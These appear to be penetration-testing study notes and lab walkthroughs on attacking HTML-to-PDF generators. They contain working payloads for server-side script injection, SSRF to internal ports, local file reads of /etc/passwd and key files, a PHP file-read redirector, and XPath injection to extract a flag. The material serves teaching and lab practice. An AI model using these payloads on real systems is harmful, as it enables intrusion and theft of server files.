# Exploitation

All techniques assume user-controlled HTML is fed into the PDF generator.

## 1) JavaScript Code Execution (Server-Side XSS)

Test HTML rendering, then JavaScript execution:

```html
<b>bold-test</b>
<script>document.write('XSS-OK')</script>
```

Leak server file path via `window.location`:

```html
<script>document.write(window.location)</script>
```

Outputs often show `file:///.../tmp_wkhtmlto_pdf_XXXX.html` revealing server paths.

## 2) Server-Side Request Forgery (SSRF)

Force outbound requests by loading external resources:

```html
<img src="http://<your-oast-domain>/ssrf-img"/>
<link rel="stylesheet" href="http://<your-oast-domain>/ssrf-css">
<iframe src="http://<your-oast-domain>/ssrf-iframe"></iframe>
```

If iframe responses render in the PDF (non-blind SSRF), you can read internal endpoints:

```html
<iframe src="http://127.0.0.1:8080/api/users" width="800" height="500"></iframe>
```

## 3) Local File Inclusion (LFI)

### With JavaScript

```html
<script>
  function wrap(s){let out='';while(s.length){out+=s.slice(0,100)+'\n';s=s.slice(100);}return out}
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(wrap(btoa(x.responseText)));
  x.open('GET','file:///etc/passwd');
  x.send();
</script>
```

### Without JavaScript

Direct tags (may be blocked):

```html
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500"></object>
<portal src="file:///etc/passwd" width="800" height="500"></portal>
```

Redirect-based LFI (if `file://` blocked but redirects followed):

Server-side `redirector.php`:

```php
<?php header('Location: file://' . $_GET['url']); ?>
```

Payload:

```html
<iframe src="http://<your-server>/redirector.php?url=%2fetc%2fpasswd" width="800" height="500"></iframe>
```

## 4) Annotations / Attachments

Leverage library-specific features to attach local files.

* mPDF (older versions or enabled setting):

```html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />
```

* PD4ML:

```html
<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>
```

Consult documentation for the target library and version (see metadata identification).

## Notes

* Always sanitize and encode when testing in real apps; proof in controlled labs.
* Outbound network, `file://`, and JS execution are all configuration-dependent.
* For large/binary file exfil via JS, prefer base64 with line wrapping.

## Question 1 (lab walkthrough)

Goal: access an internal web app and exfiltrate the flag via PDF generator.

1. Add a new note; test HTML injection using `<b>test</b>`.
2. Only the Note body renders HTML → injection confirmed.
3. Enumerate internal ports (Apache) via LFI using JS:

```html
<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///etc/apache2/ports.conf');
  x.send();
</script>
```

* Discover internal app on port 8000.

4. Interact with internal app (non-blind SSRF via iframe):

```html
<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>
```

* Endpoints list shows `/users`.

5. Probe `/users` to find key locations:

```html
<iframe src="http://127.0.0.1:8000/users" width="800" height="500"></iframe>
```

* `admin` key path: `/users/adminkey.txt`.

6. Exfiltrate key via Server-Side XSS + file:// read:

```html
<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///users/adminkey.txt');
  x.send();
</script>
```

Answer: {hidden}

## Obtain the flag (skills assessment)

1. Visit root page, note PDF invoice generation and hint about an internal orders app.
2. Test fields for server-side execution:
   * Comment sanitized; try title via Burp.

* JS probe (in title):

```html
<script>document.write(window.location)</script>
```

3. Enumerate internal ports via Apache config (in title field):

```html
<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///etc/apache2/ports.conf');
  x.send();
</script>
```

4. SSRF to internal web app (port 8000) using iframe (in title):

```html
<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>
```

* The internal app exposes endpoints and an XML-backed `/` with `q` GET param.

5. Exfiltrate flag via XPath injection (iframe in title):

* Using contains on substring:

```html
<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'HTB')" width="800" height="500"></iframe>
```

* Alternative substring:

```html
<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'Flag')" width="800" height="500"></iframe>
```

* Or position-based selection:

```html
<iframe src="http://127.0.0.1:8000/?q=INVALID or position()=7" width="800" height="500"></iframe>
```

Answer: {hidden}
